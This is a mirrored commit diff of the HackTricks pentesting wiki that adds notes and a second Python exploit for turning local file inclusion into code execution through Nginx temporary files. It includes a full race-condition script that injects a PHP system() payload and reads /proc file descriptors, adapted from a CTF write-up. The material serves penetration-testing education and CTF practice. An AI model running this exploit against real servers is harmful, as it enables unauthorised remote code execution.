mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 14:08:26 +00:00
GitBook: [#3265] No subject
This commit is contained in:
parent
fe43fed98f
commit
f7f45d2bc8
4 changed files with 391 additions and 10 deletions
|
@ -450,6 +450,7 @@
|
|||
* [Email Injections](pentesting-web/email-header-injection.md)
|
||||
* [File Inclusion/Path traversal](pentesting-web/file-inclusion/README.md)
|
||||
* [phar:// deserialization](pentesting-web/file-inclusion/phar-deserialization.md)
|
||||
* [LFI2RCE via PHP Filters](pentesting-web/file-inclusion/lfi2rce-via-php-filters.md)
|
||||
* [LFI2RCE via Nginx temp files](pentesting-web/file-inclusion/lfi2rce-via-nginx-temp-files.md)
|
||||
* [Via PHP\_SESSION\_UPLOAD\_PROGRESS](pentesting-web/file-inclusion/via-php\_session\_upload\_progress.md)
|
||||
* [LFI2RCE via phpinfo()](pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md)
|
||||
|
|
|
@ -193,7 +193,7 @@ PHP filters allow perform basic **modification operations on the data** before b
|
|||
* `convert.base64-decode`
|
||||
* `convert.quoted-printable-encode`
|
||||
* `convert.quoted-printable-decode`
|
||||
* `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) 
|
||||
* `convert.iconv.*` : Transforms to a different encoding(`convert.iconv.<input_enc>.<output_enc>`) . To get the **list of all the encodings** supported run in the console: `iconv -l`
|
||||
* [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
* `zlib.deflate`: Compress the content (useful if exfiltrating a lot of info)
|
||||
* `zlib.inflate`: Decompress the data
|
||||
|
@ -468,6 +468,14 @@ If ssh is active check which user is being used (/proc/self/status & /etc/passwd
|
|||
|
||||
The logs of this FTP server are stored in _**/var/log/vsftpd.log.**_ If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.
|
||||
|
||||
### Via php filters (no file needed)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)explains that you can use **php filters to generate arbitrary content** as output. Which basically means that you can **generate arbitrary php code** for the include **without needing to write** it into a file.
|
||||
|
||||
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
||||
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Via Nginx temp file storage
|
||||
|
||||
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
|
||||
# LFI2RCE via Nginx temp files
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -16,8 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
||||
</details>
|
||||
|
||||
|
||||
# Vulnerable configuration
|
||||
## Vulnerable configuration
|
||||
|
||||
* PHP code:
|
||||
|
||||
|
@ -85,7 +84,7 @@ lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001
|
|||
|
||||
Note: One cannot directly include `/proc/34/fd/15` in this example as PHP's `include` function would resolve the path to `/var/lib/nginx/body/0000001368 (deleted)` which doesn't exist in in the filesystem. This minor restriction can luckily be bypassed by some indirection like: `/proc/self/fd/34/../../../34/fd/15` which will finally execute the content of the deleted `/var/lib/nginx/body/0000001368` file.
|
||||
|
||||
# Full Exploit
|
||||
## Full Exploit
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -184,17 +183,117 @@ $ ./pwn.py 127.0.0.1 1337
|
|||
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
||||
```
|
||||
|
||||
# Labs
|
||||
### Another Exploit
|
||||
|
||||
This is from [https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/](https://lewin.co.il/winning-the-impossible-race-an-unintended-solution-for-includers-revenge-counter-hxp-2021/)
|
||||
|
||||
```python
|
||||
import requests
|
||||
import threading
|
||||
import multiprocessing
|
||||
import threading
|
||||
import random
|
||||
|
||||
SERVER = "http://localhost:8088"
|
||||
NGINX_PIDS_CACHE = set([34, 35, 36, 37, 38, 39, 40, 41])
|
||||
# Set the following to True to use the above set of PIDs instead of scanning:
|
||||
USE_NGINX_PIDS_CACHE = False
|
||||
|
||||
def create_requests_session():
|
||||
session = requests.Session()
|
||||
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
|
||||
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
|
||||
session.mount('http://', adapter)
|
||||
return session
|
||||
|
||||
def get_nginx_pids(requests_session):
|
||||
if USE_NGINX_PIDS_CACHE:
|
||||
return NGINX_PIDS_CACHE
|
||||
nginx_pids = set()
|
||||
# Scan up to PID 200
|
||||
for i in range(1, 200):
|
||||
cmdline = requests_session.get(SERVER + f"/?action=read&file=/proc/{i}/cmdline").text
|
||||
if cmdline.startswith("nginx: worker process"):
|
||||
nginx_pids.add(i)
|
||||
return nginx_pids
|
||||
|
||||
def send_payload(requests_session, body_size=1024000):
|
||||
try:
|
||||
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
|
||||
payload = '<?php system("/readflag"); ?> //'
|
||||
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
|
||||
except:
|
||||
pass
|
||||
|
||||
def send_payload_worker(requests_session):
|
||||
while True:
|
||||
send_payload(requests_session)
|
||||
|
||||
def send_payload_multiprocess(requests_session):
|
||||
# Use all CPUs to send the payload as request body for Nginx
|
||||
for _ in range(multiprocessing.cpu_count()):
|
||||
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
|
||||
p.start()
|
||||
|
||||
def generate_random_path_prefix(nginx_pids):
|
||||
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
|
||||
path = ""
|
||||
component_num = random.randint(0, 10)
|
||||
for _ in range(component_num):
|
||||
pid = random.choice(nginx_pids)
|
||||
if random.randint(0, 1) == 0:
|
||||
path += f"/proc/{pid}/cwd"
|
||||
else:
|
||||
path += f"/proc/{pid}/root"
|
||||
return path
|
||||
|
||||
def read_file(requests_session, nginx_pid, fd, nginx_pids):
|
||||
nginx_pid_list = list(nginx_pids)
|
||||
while True:
|
||||
path = generate_random_path_prefix(nginx_pid_list)
|
||||
path += f"/proc/{nginx_pid}/fd/{fd}"
|
||||
try:
|
||||
d = requests_session.get(SERVER + f"/?action=include&file={path}").text
|
||||
except:
|
||||
continue
|
||||
# Flags are formatted as hxp{<flag>}
|
||||
if "hxp" in d:
|
||||
print("Found flag! ")
|
||||
print(d)
|
||||
|
||||
def read_file_worker(requests_session, nginx_pid, nginx_pids):
|
||||
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
|
||||
for fd in range(10, 45):
|
||||
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
|
||||
thread.start()
|
||||
|
||||
def read_file_multiprocess(requests_session, nginx_pids):
|
||||
for nginx_pid in nginx_pids:
|
||||
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
|
||||
p.start()
|
||||
|
||||
if __name__ == "__main__":
|
||||
print('[DEBUG] Creating requests session')
|
||||
requests_session = create_requests_session()
|
||||
print('[DEBUG] Getting Nginx pids')
|
||||
nginx_pids = get_nginx_pids(requests_session)
|
||||
print(f'[DEBUG] Nginx pids: {nginx_pids}')
|
||||
print('[DEBUG] Starting payload sending')
|
||||
send_payload_multiprocess(requests_session)
|
||||
print('[DEBUG] Starting fd readers')
|
||||
read_file_multiprocess(requests_session, nginx_pids)
|
||||
```
|
||||
|
||||
## Labs
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/php-lfi-with-nginx-assistance.tar.xz)
|
||||
* [https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/](https://2021.ctf.link/internal/challenge/ed0208cd-f91a-4260-912f-97733e8990fd/)
|
||||
* [https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/](https://2021.ctf.link/internal/challenge/a67e2921-e09a-4bfa-8e7e-11c51ac5ee32/)
|
||||
|
||||
# References
|
||||
## References
|
||||
|
||||
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
@ -210,5 +309,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
275
pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
Normal file
275
pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
Normal file
File diff suppressed because one or more lines are too long
Loading…
Add table
Reference in a new issue